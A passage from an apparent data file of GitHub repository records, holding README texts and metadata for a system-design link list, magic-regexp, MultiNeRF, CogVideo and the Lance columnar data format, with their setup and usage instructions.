Snapchat](https://medium.com/coders-mojo/day-34-of-system-design-case-studies-series-design-snapchat-91e8eaba38cf?sk=73e7276acad635bc84110d705c39653c) [Design One Drive](https://medium.com/coders-mojo/day-33-of-system-design-case-studies-series-design-one-drive-d2e98a80f9a7?sk=294027ae3251b87aa5f7edba87d248f2) [Design BookmyShow](https://medium.com/coders-mojo/day-32-of-system-design-case-studies-series-design-bookmyshow-8470813a3bff?sk=800521e98d1a63cbaf07944040e0393f) [Design Google Maps](https://medium.com/coders-mojo/day-31-of-system-design-case-studies-series-design-google-maps-545feb730ed3?sk=9fd2a81b42fc7927f0c8be08a27f3c49) [Design Quora](https://medium.com/coders-mojo/day-29-of-system-design-case-studies-series-design-quora-fcd2ff0c2aab?sk=cf3ca6447b8295aeb912ea1c6a8ce666) [Design Foursquare](https://medium.com/coders-mojo/day-28-of-system-design-case-studies-series-design-foursquare-6cfa5a3c00bf?sk=a78fe7fac24bfa0045a870c7f7cd47ff) [Design Tiny URL](https://medium.com/coders-mojo/day-26-of-system-design-case-studies-series-design-tiny-url-4850ed7922e?sk=732181ae6072053c6644d5fb2b57e80e) [Design Flipkart](https://medium.com/coders-mojo/day-24-of-system-design-case-studies-series-design-flipkart-42af832b9794?sk=1deba4c6880a18e363bbcb2cc5aa0f9c) --------------------------------- Part 1 of System Design Made Easy Series In the part 1, we covered what and why of System Design and the important topics that you should know. System Design is mostly an open ended concept and most of the questions can be answered in different degrees and aptitudes. In layman’s language, system design is about — Architecture + Data + Applications [Learn what is system design and why it’s important, how they work and how to use them in your system design interviews in part 1 ](https://medium.com/coders-mojo/complete-system-design-series-part-1-45bf9c8654bc) ------------------------------ Part 2 of System Design Made Easy Series In the part 2, we covered— 1. System design basics 2. Horizontal and Vertical Scaling with an example In technical words, scalability is a the technique/process of adding/removing infrastructure/resources required by applications to better serve/accommodate increased/decreased demand/growth. We also covered the tradeoffs of horizontal and vertical scaling. [Learn why good understanding of system design basics and horizontal and vertical scaling are important, how they work and how to use them in your system design interviews in part 2 ](https://medium.com/coders-mojo/complete-system-design-series-part-2-922f45f2faaf) ------------------------------ Part 3 of System Design Made Easy Series In the part 3, we covered system design’s most important concepts — 1. Load Balancing 2. Message Queues Load balancing is a technique of distributing tasks over a set of servers/machines to improve the performance,throughput, high availability, redundancy and reliability of the system. Not just it enables horizontal scaling but also dynamic resizing/scaling. Message queues are nothing bit temporary buffers placed between users/applications and servers to store the message requests and process them in FIFO order asynchronously until the requests/messages are delivered to the desired server. We also covered the tradeoffs of the different techniques. [Learn why load balancing and message queues are important, how they work and how to use them in your system design interviews in part 3](https://medium.com/coders-mojo/part-3-complete-system-design-series-e1362baa8a4c) ------------------------------ Part 4 of System Design Made Easy Series In the part 4, we covered- 1. High level design and Low level design 2. Monolithic and microservices architecture and which one to choose and when ? 3. Consistent Hashing High level Design(HLD) describes the overall architecture of the application and covers functionality of each module of the system very briefly. LLD details the functional logic of the each module in the system. Monolithic architecture — consists of single code base with multiple modules and it’s easier and faster to deploy. Microservices architecture — consists of individual service units with each service being responsible for exactly one functionality. It’s relatively complex and time taking to deploy. Consistent hashing is a technique to divide keys/data between multiple servers/machines using a hash function ( key — value). [Learn why high level design and low level design, Monolith and microservices architecture and consistent hashing are important, how they work and how to use them in your system design interviews in part 4](https://medium.com/coders-mojo/part-4-complete-system-design-series-138bc9fbcfc0) ------------------------------ Part 5 of System Design Made Easy Series In the part 5, we covered — 1. Caching 2. Indexing 3. Proxies Caching is a technique which is based on the principal of locality — stores the copies of most frequently used/accessed data in a small and faster memory to improve Data retrieval times, Compute costs, User Experience and Throughput. Indexing helps in Improving the speed of data access/retrieval, Reducing the number of expensive I/O operations, Providing better organization and management of multilevel data records. Proxies play an important role of coordinating user requests, handling concurrent requests, filtering user request, transforming user requests by adding an additional layer of encryption or header information or compression information and then forwarding the user request to the server. [Learn why Caching, Indexing and Proxies are important, how they work and how to use them in your system design interviews in part 5 ](https://medium.com/coders-mojo/part-5-complete-system-design-series-4b9b04f23608) ------------------------------ Part 6 of System Design Made Easy Series In the part 6, we covered — 1. Networking 2. How Browsers work 3. Content Network Delivery ( CDN) Networking is nothing but interconnected devices that can exchange data-messages and share resources amongst themselves/with outside world based in the system protocols/rules, technologies and algorithms that govern these devices inner workings. Browsers are used to present the website/resource you would like to visit say, for example google.com by sending the request to the server and displaying it on their browser window. Content Network Delivery caters to the users by serving their requests by quickly transferring the data back and forth. [Learn why networking, browsers working and CDN are important, how they work and how to use them in your system design interviews in part 6](https://medium.com/coders-mojo/part-6-complete-system-design-series-59a2d8bbf1ed) ------------------------------ Part 7 of System Design Made Easy Series In the part 7, we covered — 1. Database Sharding 2. CAP Theorem 3. Database schema Design Sharding is the technique to database partitioning that separates large and complex databases into smaller, faster and distributed databases for higher throughput operations. CAP theorem lets you determine how you want to handle your distributed databases with there is possibility of inconsistencies, unavailability and connection errors/failures/outrage. Database schema Design lets you organize data into separate entities and establish and organize the relationships between different entities. [Learn why database sharding, CAP theorem and Database Schema Design are important, how they work and how to use them in your system design interviews in part 7](https://medium.com/coders-mojo/part-7-complete-system-design-series-1bef528923d6) ------------------------------ Part 8 of System Design Made Easy Series In the part 8 , we covered — 1. Concurrency 2. API 3. Components + OOP + Abstraction Concurrency is the process in which multiple computations/operations/process happen/execute in parallel/concurrently. API is an acronym for application programming interface which provides a way to two or more programs to communicate, work together despite different configurations, architectures, resources etc Components in the system design are building blocks designed to coordinate, cooperate, reuse and work well with other components of the same/different systems. They can be as simple as visual components or internal components/backend components. [Learn why concurrency, API and Components + OOP + Abstraction are important, how they work and how to use them in your system design interviews in part 8 ](https://medium.com/coders-mojo/part-8-complete-system-design-series-57bc88433c8e) ------------------------------ Part 9 of System Design Made Easy Series In the part 9 , we covered — 1. Planning and Estimation 2. Performance Planning and estimation( numbers) and performance are very important concepts ( concept that you should be able to demonstrate well when asked). [Learn why Planning, estimation( numbers) and performance are important, how they work and how to use them in your system design interviews in part 9](https://medium.com/coders-mojo/part-9-complete-system-design-series-df975c85ec51) ------------------------------ Part 10 of System Design Made Easy Series In the part 10, we covered — 1. Map Reduce 2. Patterns and Microservices In system design, map reduce ( Hadoop systems) is a batch processing technique in which the engine takes huge amounts of data, processes ( map and reduce) and gives the output. In system design, microservices architecture is used to build enterprise level applications which helps in structuring the whole application as a collection of tiny autonomous, self contained services for each task ( service) that you want/are allowed to perform. [Learn why map reduce, patterns and microservices are important, how they work and how to use them in your system design interviews in part 10](https://medium.com/coders-mojo/part-10-complete-system-design-series-523b4dd978bf) ------------------------------ Most Popular System Design Questions — Mega Compilation In this post. we covered the most popular/important system design questions that you should practice to build a thorough understanding of how large systems are designed. Popular Questions : [Link](https://medium.com/coders-mojo/most-popular-system-design-questions-mega-compilation-45218129fe26) ----------------------------- # Some of the other best Series - [Complete 60 Days of Data Science and Machine Learning Series ](https://medium.com/coders-mojo/day-1-day-60-quick-recap-of-60-days-of-data-science-and-ml-6fc021643d1?sk=4e75e043b7630a9f963562ebac94e129) [30 days of Machine Learning Ops](https://medium.com/coders-mojo/day-1-of-30-days-of-machine-learning-ops-7c299e4b09be?sk=4ab48350a5c359fc157109e48b1d738f) [30 Days of Natural Language Processing ( NLP) Series](https://medium.com/coders-mojo/quick-recap-30-days-of-natural-language-processing-nlp-with-projects-series-ceb674e3c09b?sk=ca09b27b3d5867f23ab4dc367b6c0c32) [Data Science and Machine Learning Research ( papers) Simplified **](https://medium.com/coders-mojo/day-1-data-science-and-ml-research-papers-simplified-a68b00a3b1c4?sk=56136229ff738bd734f19d2b6953f78c) [30 days of Data Engineering with projects Series](https://medium.com/coders-mojo/day-1-of-30-days-of-data-engineering-894822fcb128?sk=76ba558bfe2d9f85cbe741e505295531) [60 days of Data Science and ML Series with projects](https://medium.com/coders-mojo/day-1-day-60-quick-recap-of-60-days-of-data-science-and-ml-6fc021643d1?sk=4e75e043b7630a9f963562ebac94e129) [100 days : Your Data Science and Machine Learning Degree Series with projects](https://medium.com/coders-mojo/100-days-your-data-science-and-ml-degree-part-3-c621ecfdf711?sk=1a8c7b0c204d73432d56b7d1a3a26474) [23 Data Science Techniques You Should Know](https://ai.plainenglish.io/23-data-science-techniques-you-should-know-61bc2c9d1b3a?sk=1680c36193eb22198974c9008d62a33c) [Tech Interview Series — Curated List of coding questions](https://medium.com/coders-mojo/mega-post-tech-interview-the-only-list-of-questions-you-need-to-practice-ee349ea197bb?sk=fac3614684daff4b50a70c0a71e4d528) [Complete System Design with most popular Questions Series](https://medium.com/coders-mojo/system-design-made-easy-quick-recap-of-complete-system-design-34af7e3aedfb?sk=bdd6a19edc1f3ce4a5064923f5b68721) [Complete Data Visualization and Pre-processing Series with projects](https://medium.com/coders-mojo/complete-data-preprocessing-and-data-visualization-with-projects-mega-compilation-part-2-41584ef0920e?sk=842390da51689b8d43148c3980570db0) [Complete Python Series with Projects](https://medium.com/coders-mojo/complete-python-and-projects-mega-compilation-7ec8f7adfe71?sk=ee0ecf43f23c6dd44dd35d984b3e5df4) [Complete Advanced Python Series with Projects](https://medium.com/coders-mojo/complete-advanced-python-with-projects-mega-compilation-part-6-729c1826032b?sk=7faffe20f8039fa57099f7a372b6d665) [Kaggle Best Notebooks that will teach you the most](https://medium.com/coders-mojo/my-list-of-kaggle-best-notebooks-topic-wise-data-science-and-machine-learning-part-2-84772863e9ae?sk=5ed02e419854a6c11add3ddc1e52947f) [Complete Developers Guide to Git](https://medium.datadriveninvestor.com/the-complete-developers-guide-to-git-6a23125996e1?sk=e30479bbe713930ea93018e1a46d9185) [Exceptional Github Repos — Part 1](https://medium.com/coders-mojo/6-exceptional-github-repos-for-all-developers-part-1-21e8fa04e150?sk=9140b249af6fe73d45717185fad48962) [Exceptional Github Repos — Part 2](https://medium.com/coders-mojo/6-exceptional-github-repos-for-all-developers-part-2-3eec9a68c31c?sk=8e31d0eb7eb1d2d0bbbcecaa66bd4e7e) [All the Data Science and Machine Learning Resources](https://medium.datadriveninvestor.com/best-resources-for-data-science-and-machine-learning-full-list-5ceb9a2791bf?sk=cf85b2cef95560c58509877a794577ff) [210 Machine Learning Projects](https://medium.datadriveninvestor.com/210-machine-learning-projects-with-source-code-that-you-can-build-today-721b035649e0?sk=da5f593572a0261a6314afad99a0356c) ------- # 6 Highly Recommended Data Science and Machine Learning Courses that you MUST take ( with certificate) - 1. Complete Data Scientist : https://bit.ly/3wiIo8u Learn to run data pipelines, design experiments , build recommendation systems, and deploy solutions to the cloud. ---- 2. Complete Data Engineering : https://bit.ly/3A9oVs5 Learn to design data models, build data warehouses and data lakes, automate data pipelines, and work with massive datasets ----- 3. Complete Machine Learning Engineer : https://bit.ly/3Tir8ub Learn advanced machine learning techniques and algorithms - including how to package and deploy your models to a production environment. ----- 4. Complete Data Product Manager : https://bit.ly/3QGUtwi Leverage data to build products that deliver the right experiences, to the right users, at the right time. Lead the development of data-driven products that position businesses to win in their market. ------ 5. Complete Natural Language Processing : https://bit.ly/3T7J8qY Build models on real data, and get hands-on experience with sentiment analysis, machine translation, and more. ------ 6. Complete Deep Learning: https://bit.ly/3T5ppIo Learn to implement Neural Networks using the deep learning framework PyTorch ------	This repository contains everything you need to become proficient in System Design	null	0	1	1	89	0	1	0
unjs/magic-regexp	# 🦄 magic-regexp [![npm version][npm-version-src]][npm-version-href] [![npm downloads][npm-downloads-src]][npm-downloads-href] [![Github Actions][github-actions-src]][github-actions-href] [![Codecov][codecov-src]][codecov-href] [![Bundlephobia][bundlephobia-src]][bundlephobia-href] > A compiled-away, type-safe, readable RegExp alternative - [✨  Changelog](https://github.com/danielroe/magic-regexp/blob/main/CHANGELOG.md) - [📖  Documentation](https://regexp.dev) - [▶️  Online playground](https://stackblitz.com/github/danielroe/magic-regexp/tree/main/playground) ## Features - Runtime is zero-dependency and ultra-minimal - Ships with transform to compile to pure RegExp - Automatically typed capture groups - Natural language syntax - Generated RegExp displays on hover [📖  Read more](https://regexp.dev) ## 💻 Development - Clone this repository - Enable [Corepack](https://github.com/nodejs/corepack) using `corepack enable` (use `npm i -g corepack` for Node.js < 16.10) - Install dependencies using `pnpm install` - Run interactive tests using `pnpm dev` ## Similar packages - [verbal-expressions](http://verbalexpressions.github.io/) - [typed-regex](https://github.com/phenax/typed-regex/) ## License Made with ❤️ Published under [MIT License](./LICENCE). <!-- Badges --> [npm-version-src]: https://img.shields.io/npm/v/magic-regexp?style=flat-square [npm-version-href]: https://npmjs.com/package/magic-regexp [npm-downloads-src]: https://img.shields.io/npm/dm/magic-regexp?style=flat-square [npm-downloads-href]: https://npmjs.com/package/magic-regexp [github-actions-src]: https://img.shields.io/github/actions/workflow/status/danielroe/magic-regexp/ci.yml?branch=main&style=flat-square [github-actions-href]: https://github.com/danielroe/magic-regexp/actions?query=workflow%3Aci [codecov-src]: https://img.shields.io/codecov/c/gh/danielroe/magic-regexp/main?style=flat-square [codecov-href]: https://codecov.io/gh/danielroe/magic-regexp [bundlephobia-src]: https://img.shields.io/bundlephobia/minzip/magic-regexp?style=flat-square [bundlephobia-href]: https://bundlephobia.com/package/magic-regexp	A compiled-away, type-safe, readable RegExp alternative	regexp,typescript,regex,regular-expression,hacktoberfest	18	25	361	590	19	11	5
google-research/multinerf	# MultiNeRF: A Code Release for Mip-NeRF 360, Ref-NeRF, and RawNeRF This is not an officially supported Google product. This repository contains the code release for three CVPR 2022 papers: [Mip-NeRF 360](https://jonbarron.info/mipnerf360/), [Ref-NeRF](https://dorverbin.github.io/refnerf/), and [RawNeRF](https://bmild.github.io/rawnerf/). This codebase was written by integrating our internal implementations of Ref-NeRF and RawNeRF into our mip-NeRF 360 implementation. As such, this codebase should exactly reproduce the results shown in mip-NeRF 360, but may differ slightly when reproducing Ref-NeRF or RawNeRF results. This implementation is written in [JAX](https://github.com/google/jax), and is a fork of [mip-NeRF](https://github.com/google/mipnerf). This is research code, and should be treated accordingly. ## Setup ``` # Clone the repo. git clone https://github.com/google-research/multinerf.git cd multinerf # Make a conda environment. conda create --name multinerf python=3.9 conda activate multinerf # Prepare pip. conda install pip pip install --upgrade pip # Install requirements. pip install -r requirements.txt # Manually install rmbrualla's `pycolmap` (don't use pip's! It's different). git clone https://github.com/rmbrualla/pycolmap.git ./internal/pycolmap # Confirm that all the unit tests pass. ./scripts/run_all_unit_tests.sh ``` You'll probably also need to update your JAX installation to support GPUs or TPUs. ## Running Example scripts for training, evaluating, and rendering can be found in `scripts/`. You'll need to change the paths to point to wherever the datasets are located. [Gin](https://github.com/google/gin-config) configuration files for our model and some ablations can be found in `configs/`. After evaluating on the test set of each scene in one of the datasets, you can use `scripts/generate_tables.ipynb` to produce error metrics across all scenes in the same format as was used in tables in the paper. ### OOM errors You may need to reduce the batch size (`Config.batch_size`) to avoid out of memory errors. If you do this, but want to preserve quality, be sure to increase the number of training iterations and decrease the learning rate by whatever scale factor you decrease batch size by. ## Using your own data Summary: first, calculate poses. Second, train MultiNeRF. Third, render a result video from the trained NeRF model. 1. Calculating poses (using COLMAP): ``` DATA_DIR=my_dataset_dir bash scripts/local_colmap_and_resize.sh ${DATA_DIR} ``` 2. Training MultiNeRF: ``` python -m train \ --gin_configs=configs/360.gin \ --gin_bindings="Config.data_dir = '${DATA_DIR}'" \ --gin_bindings="Config.checkpoint_dir = '${DATA_DIR}/checkpoints'" \ --logtostderr ``` 3. Rendering MultiNeRF: ``` python -m render \ --gin_configs=configs/360.gin \ --gin_bindings="Config.data_dir = '${DATA_DIR}'" \ --gin_bindings="Config.checkpoint_dir = '${DATA_DIR}/checkpoints'" \ --gin_bindings="Config.render_dir = '${DATA_DIR}/render'" \ --gin_bindings="Config.render_path = True" \ --gin_bindings="Config.render_path_frames = 480" \ --gin_bindings="Config.render_video_fps = 60" \ --logtostderr ``` Your output video should now exist in the directory `my_dataset_dir/render/`. See below for more detailed instructions on either using COLMAP to calculate poses or writing your own dataset loader (if you already have pose data from another source, like SLAM or RealityCapture). ### Running COLMAP to get camera poses In order to run MultiNeRF on your own captured images of a scene, you must first run [COLMAP](https://colmap.github.io/install.html) to calculate camera poses. You can do this using our provided script `scripts/local_colmap_and_resize.sh`. Just make a directory `my_dataset_dir/` and copy your input images into a folder `my_dataset_dir/images/`, then run: ``` bash scripts/local_colmap_and_resize.sh my_dataset_dir ``` This will run COLMAP and create 2x, 4x, and 8x downsampled versions of your images. These lower resolution images can be used in NeRF by setting, e.g., the `Config.factor = 4` gin flag. By default, `local_colmap_and_resize.sh` uses the OPENCV camera model, which is a perspective pinhole camera with k1, k2 radial and t1, t2 tangential distortion coefficients. To switch to another COLMAP camera model, for example OPENCV_FISHEYE, you can run ``` bash scripts/local_colmap_and_resize.sh my_dataset_dir OPENCV_FISHEYE ``` If you have a very large capture of more than around 500 images, we recommend switching from the exhaustive matcher to the vocabulary tree matcher in COLMAP (see the script for a commented-out example). Our script is simply a thin wrapper for COLMAP--if you have run COLMAP yourself, all you need to do to load your scene in NeRF is ensure it has the following format: ``` my_dataset_dir/images/ <--- all input images my_dataset_dir/sparse/0/ <--- COLMAP sparse reconstruction files (cameras, images, points) ``` ### Writing a custom dataloader If you already have poses for your own data, you may prefer to write your own custom dataloader. MultiNeRF includes a variety of dataloaders, all of which inherit from the base [Dataset class](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L152). The job of this class is to load all image and pose information from disk, then create batches of ray and color data for training or rendering a NeRF model. Any inherited subclass is responsible for loading images and camera poses from disk by implementing the `_load_renderings` method (which is marked as abstract by the decorator `@abc.abstractmethod`). This data is then used to generate train and test batches of ray + color data for feeding through the NeRF model. The ray parameters are calculated in `_make_ray_batch`. #### Existing data loaders To work from an example, you can see how this function is overloaded for the different dataloaders we have already implemented: - [Blender](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L470) - [DTU dataset](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L793) - [Tanks and Temples](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L680), as processed by the NeRF++ paper - [Tanks and Temples](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L728), as processed by the Free View Synthesis paper The main data loader we rely on is [LLFF](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L526) (named for historical reasons), which is the loader for a dataset that has been posed by COLMAP. #### Making your own loader by implementing `_load_renderings` To make a new dataset, make a class inheriting from `Dataset` and overload the `_load_renderings` method: ``` class MyNewDataset(Dataset): def _load_renderings(self, config): ... ``` In this function, you must set the following public attributes: - images - camtoworlds - pixtocams - height, width Many of our dataset loaders also set other useful attributes, but these are the critical ones for generating rays. You can see how they are used (along with a batch of pixel coordinates) to create rays in [`camera_utils.pixels_to_rays`](https://github.com/google-research/multinerf/blob/main/internal/camera_utils.py#L520). Images `images` = [N, height, width, 3] numpy array of RGB images. Currently we require all images to have the same resolution. Extrinsic camera poses `camtoworlds` = [N, 3, 4] numpy array of extrinsic pose matrices. `camtoworlds[i]` should be in camera-to-world format, such that we can run ``` pose = camtoworlds[i] x_world = pose[:3, :3] @ x_camera + pose[:3, 3:4] ``` to convert a 3D camera space point `x_camera` into a world space point `x_world`. These matrices must be stored in the OpenGL coordinate system convention for camera rotation: x-axis to the right, y-axis upward, and z-axis backward along the camera's focal axis. The most common conventions are - `[right, up, backwards]`: OpenGL, NeRF, most graphics code. - `[right, down, forwards]`: OpenCV, COLMAP, most computer vision code. Fortunately switching from OpenCV/COLMAP to NeRF is [simple](https://github.com/google-research/multinerf/blob/main/internal/datasets.py#L108): you just need to right-multiply the OpenCV pose matrices by `np.diag([1, -1, -1, 1])`, which will flip the sign of the y-axis (from down to up) and z-axis (from forwards to backwards): ``` camtoworlds_opengl = camtoworlds_opencv @ np.diag([1, -1, -1, 1]) ``` You may also want to scale your camera pose translations such that they all lie within the `[-1, 1]^3` cube for best performance with the default mipnerf360 config files. We provide a useful helper function [`camera_utils.transform_poses_pca`](https://github.com/google-research/multinerf/blob/main/internal/camera_utils.py#L191) that computes a translation/rotation/scaling transform for the input poses that aligns the world space x-y plane with the ground (based on PCA) and scales the scene so that all input pose positions lie within `[-1, 1]^3`. (This function is applied by default when loading mip-NeRF 360 scenes with the LLFF data loader.) For a scene where this transformation has been applied, [`camera_utils.generate_ellipse_path`](https://github.com/google-research/multinerf/blob/main/internal/camera_utils.py#L230) can be used to generate a nice elliptical camera path for rendering videos. Intrinsic camera poses `pixtocams`= [N, 3, 4] numpy array of inverse intrinsic matrices, OR [3, 4] numpy array of a single shared inverse intrinsic matrix. These should be in OpenCV format, e.g. ``` camtopix = np.array([ [focal, 0, width/2], [ 0, focal, height/2], [ 0, 0, 1], ]) pixtocam = np.linalg.inv(camtopix) ``` Given a focal length and image size (and assuming a centered principal point, this matrix can be created using [`camera_utils.get_pixtocam`](https://github.com/google-research/multinerf/blob/main/internal/camera_utils.py#L411). Alternatively, it can be created by using [`camera_utils.intrinsic_matrix`](https://github.com/google-research/multinerf/blob/main/internal/camera_utils.py#L398) and inverting the resulting matrix. Resolution `height` = int, height of images. `width` = int, width of images. Distortion parameters (optional) `distortion_params` = dict, camera lens distortion model parameters. This dictionary must map from strings -> floats, and the allowed keys are `['k1', 'k2', 'k3', 'k4', 'p1', 'p2']` (up to four radial coefficients and up to two tangential coefficients). By default, this is set to the empty dictionary `{}`, in which case undistortion is not run. ### Details of the inner workings of Dataset The public interface mimics the behavior of a standard machine learning pipeline dataset provider that can provide infinite batches of data to the training/testing pipelines without exposing any details of how the batches are loaded/created or how this is parallelized. Therefore, the initializer runs all setup, including data loading from disk using `_load_renderings`, and begins the thread using its parent start() method. After the initializer returns, the caller can request batches of data straight away. The internal `self._queue` is initialized as `queue.Queue(3)`, so the infinite loop in `run()` will block on the call `self._queue.put(self._next_fn())` once there are 3 elements. The main thread training job runs in a loop that pops 1 element at a time off the front of the queue. The Dataset thread's `run()` loop will populate the queue with 3 elements, then wait until a batch has been removed and push one more onto the end. This repeats indefinitely until the main thread's training loop completes (typically hundreds of thousands of iterations), then the main thread will exit and the Dataset thread will automatically be killed since it is a daemon. ## Citation If you use this software package, please cite whichever constituent paper(s) you build upon, or feel free to cite this entire codebase as: ``` @misc{multinerf2022, title={{MultiNeRF}: {A} {Code} {Release} for {Mip-NeRF} 360, {Ref-NeRF}, and {RawNeRF}}, author={Ben Mildenhall and Dor Verbin and Pratul P. Srinivasan and Peter Hedman and Ricardo Martin-Brualla and Jonathan T. Barron}, year={2022}, url={https://github.com/google-research/multinerf}, } ```	A Code Release for Mip-NeRF 360, Ref-NeRF, and RawNeRF	nerf,neural-radiance-fields	0	8	10	61	102	1	0
THUDM/CogVideo	# CogVideo This is the official repo for the paper: [CogVideo: Large-scale Pretraining for Text-to-Video Generation via Transformers](http://arxiv.org/abs/2205.15868). News! The [demo](https://models.aminer.cn/cogvideo/) for CogVideo is available! It's also integrated into [Huggingface Spaces 🤗](https://huggingface.co/spaces) using [Gradio](https://github.com/gradio-app/gradio). Try out the Web Demo [![Hugging Face Spaces](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue)](https://huggingface.co/spaces/THUDM/CogVideo) News! The code and model for text-to-video generation is now available! Currently we only supports simplified Chinese input. https://user-images.githubusercontent.com/48993524/170857367-2033c514-3c9f-4297-876f-2468592a254b.mp4 * Read our paper [CogVideo: Large-scale Pretraining for Text-to-Video Generation via Transformers](https://arxiv.org/abs/2205.15868) on ArXiv for a formal introduction. * Try our demo at [https://models.aminer.cn/cogvideo/](https://models.aminer.cn/cogvideo/) * Run our pretrained models for text-to-video generation. Please use A100 GPU. * Cite our paper if you find our work helpful ``` @article{hong2022cogvideo, title={CogVideo: Large-scale Pretraining for Text-to-Video Generation via Transformers}, author={Hong, Wenyi and Ding, Ming and Zheng, Wendi and Liu, Xinghan and Tang, Jie}, journal={arXiv preprint arXiv:2205.15868}, year={2022} } ``` ## Web Demo The demo for CogVideo is at [https://models.aminer.cn/cogvideo/](https://models.aminer.cn/cogvideo/), where you can get hands-on practice on text-to-video generation. The original input is in Chinese. ## Generated Samples Video samples generated by CogVideo. The actual text inputs are in Chinese. Each sample is a 4-second clip of 32 frames, and here we sample 9 frames uniformly for display purposes. ![Intro images](assets/intro-image.png) ![More samples](assets/appendix-moresamples.png) CogVideo is able to generate relatively high-frame-rate videos. A 4-second clip of 32 frames is shown below. ![High-frame-rate sample](assets/appendix-sample-highframerate.png) ## Getting Started ### Setup * Hardware: Linux servers with Nvidia A100s are recommended, but it is also okay to run the pretrained models with smaller `--max-inference-batch-size` and `--batch-size` or training smaller models on less powerful GPUs. * Environment: install dependencies via `pip install -r requirements.txt`. * LocalAttention: Make sure you have CUDA installed and compile the local attention kernel. ```shell pip install git+https://github.com/Sleepychord/Image-Local-Attention ``` ## Docker Alternatively you can use Docker to handle all dependencies. 1. Run ```./build_image.sh``` 2. Run ```./run_image.sh``` 3. Run ```./install_image_local_attention``` Optionally, after that you can recommit the image to avoid having to install image local attention again. ### Download Our code will automatically download or detect the models into the path defined by environment variable `SAT_HOME`. You can also manually download [CogVideo-Stage1](https://lfs.aminer.cn/misc/cogvideo/cogvideo-stage1.zip) , [CogVideo-Stage2](https://lfs.aminer.cn/misc/cogvideo/cogvideo-stage2.zip) and [CogView2-dsr](https://model.baai.ac.cn/model-detail/100041) place them under SAT_HOME (with folders named `cogvideo-stage1` , `cogvideo-stage2` and `cogview2-dsr`) ### Text-to-Video Generation ``` ./script/inference_cogvideo_pipeline.sh ``` Arguments useful in inference are mainly: * `--input-source [path or "interactive"]`. The path of the input file with one query per line. A CLI would be launched when using "interactive". * `--output-path [path]`. The folder containing the results. * `--batch-size [int]`. The number of samples will be generated per query. * `--max-inference-batch-size [int]`. Maximum batch size per forward. Reduce it if OOM. * `--stage1-max-inference-batch-size [int]` Maximum batch size per forward in Stage 1. Reduce it if OOM. * `--both-stages`. Run both stage1 and stage2 sequentially. * `--use-guidance-stage1` Use classifier-free guidance in stage1, which is strongly suggested to get better results. You'd better specify an environment variable `SAT_HOME` to specify the path to store the downloaded model. Currently only Chinese input is supported.	Text-to-video generation. The repo for ICLR2023 paper "CogVideo: Large-scale Pretraining for Text-to-Video Generation via Transformers"	null	0	13	4	24	11	1	0
lancedb/lance	<div align="center"> <p align="center"> <img width="257" alt="Lance Logo" src="https://user-images.githubusercontent.com/917119/199353423-d3e202f7-0269-411d-8ff2-e747e419e492.png"> Modern columnar data format for ML. Convert from Parquet in 2-lines of code for 100x faster random access, a vector index, data versioning, and more.<br/> Compatible with pandas, DuckDB, Polars, and pyarrow with more integrations on the way. <a href="https://lancedb.github.io/lance/">Documentation</a> • <a href="https://blog.lancedb.com/">Blog</a> • <a href="https://discord.gg/zMM32dvNtd">Discord</a> • <a href="https://twitter.com/lancedb">Twitter</a> [CI]: https://github.com/lancedb/lance/actions/workflows/rust.yml [CI Badge]: https://github.com/lancedb/lance/actions/workflows/rust.yml/badge.svg [Docs]: https://lancedb.github.io/lance/ [Docs Badge]: https://img.shields.io/badge/docs-passing-brightgreen [crates.io]: https://crates.io/crates/lance [crates.io badge]: https://img.shields.io/crates/v/lance.svg [Python versions]: https://pypi.org/project/pylance/ [Python versions badge]: https://img.shields.io/pypi/pyversions/pylance [![CI Badge]][CI] [![Docs Badge]][Docs] [![crates.io badge]][crates.io] [![Python versions badge]][Python versions] </p> </div> <hr /> Lance is a modern columnar data format that is optimized for ML workflows and datasets. Lance is perfect for: 1. Building search engines and feature stores. 2. Large-scale ML training requiring high performance IO and shuffles. 3. Storing, querying, and inspecting deeply nested data for robotics or large blobs like images, point clouds, and more. The key features of Lance include: * High-performance random access: 100x faster than Parquet without sacrificing scan performance. * Vector search: find nearest neighbors in milliseconds and combine OLAP-queries with vector search. * Zero-copy, automatic versioning: manage versions of your data without needing extra infrastructure. * Ecosystem integrations: Apache Arrow, Pandas, Polars, DuckDB and more on the way. ## Quick Start Installation ```shell pip install pylance ``` To install a preview release: ```shell pip install --pre --extra-index-url https://pypi.fury.io/lancedb/ pylance ``` > [!TIP] > Preview releases are released more often than full releases and contain the > latest features and bug fixes. They receive the same level of testing as full releases. > We guarantee they will remain published and available for download for at > least 6 months. When you want to pin to a specific version, prefer a stable release. Converting to Lance ```python import lance import pandas as pd import pyarrow as pa import pyarrow.dataset df = pd.DataFrame({"a": [5], "b": [10]}) uri = "/tmp/test.parquet" tbl = pa.Table.from_pandas(df) pa.dataset.write_dataset(tbl, uri, format='parquet') parquet = pa.dataset.dataset(uri, format='parquet') lance.write_dataset(parquet, "/tmp/test.lance") ``` Reading Lance data ```python dataset = lance.dataset("/tmp/test.lance") assert isinstance(dataset, pa.dataset.Dataset) ``` Pandas ```python df = dataset.to_table().to_pandas() df ``` DuckDB ```python import duckdb # If this segfaults, make sure you have duckdb v0.7+ installed duckdb.query("SELECT * FROM dataset LIMIT 10").to_df() ``` Vector search Download the sift1m subset ```shell wget ftp://ftp.irisa.fr/local/texmex/corpus/sift.tar.gz tar -xzf sift.tar.gz ``` Convert it to Lance ```python import lance from lance.vector import vec_to_table import numpy as np import struct nvecs = 1000000 ndims = 128 with open("sift/sift_base.fvecs", mode="rb") as fobj: buf = fobj.read() data = np.array(struct.unpack("<128000000f", buf[4 : 4 + 4 * nvecs * ndims])).reshape((nvecs, ndims)) dd = dict(zip(range(nvecs), data)) table = vec_to_table(dd) uri = "vec_data.lance" sift1m = lance.write_dataset(table, uri, max_rows_per_group=8192, max_rows_per_file=10241024) ``` Build the index ```python sift1m.create_index("vector", index_type="IVF_PQ", num_partitions=256, # IVF num_sub_vectors=16) # PQ ``` Search the dataset ```python # Get top 10 similar vectors import duckdb dataset = lance.dataset(uri) # Sample 100 query vectors. If this segfaults, make sure you have duckdb v0.7+ installed sample = duckdb.query("SELECT vector FROM dataset USING SAMPLE 100").to_df() query_vectors = np.array([np.array(x) for x in 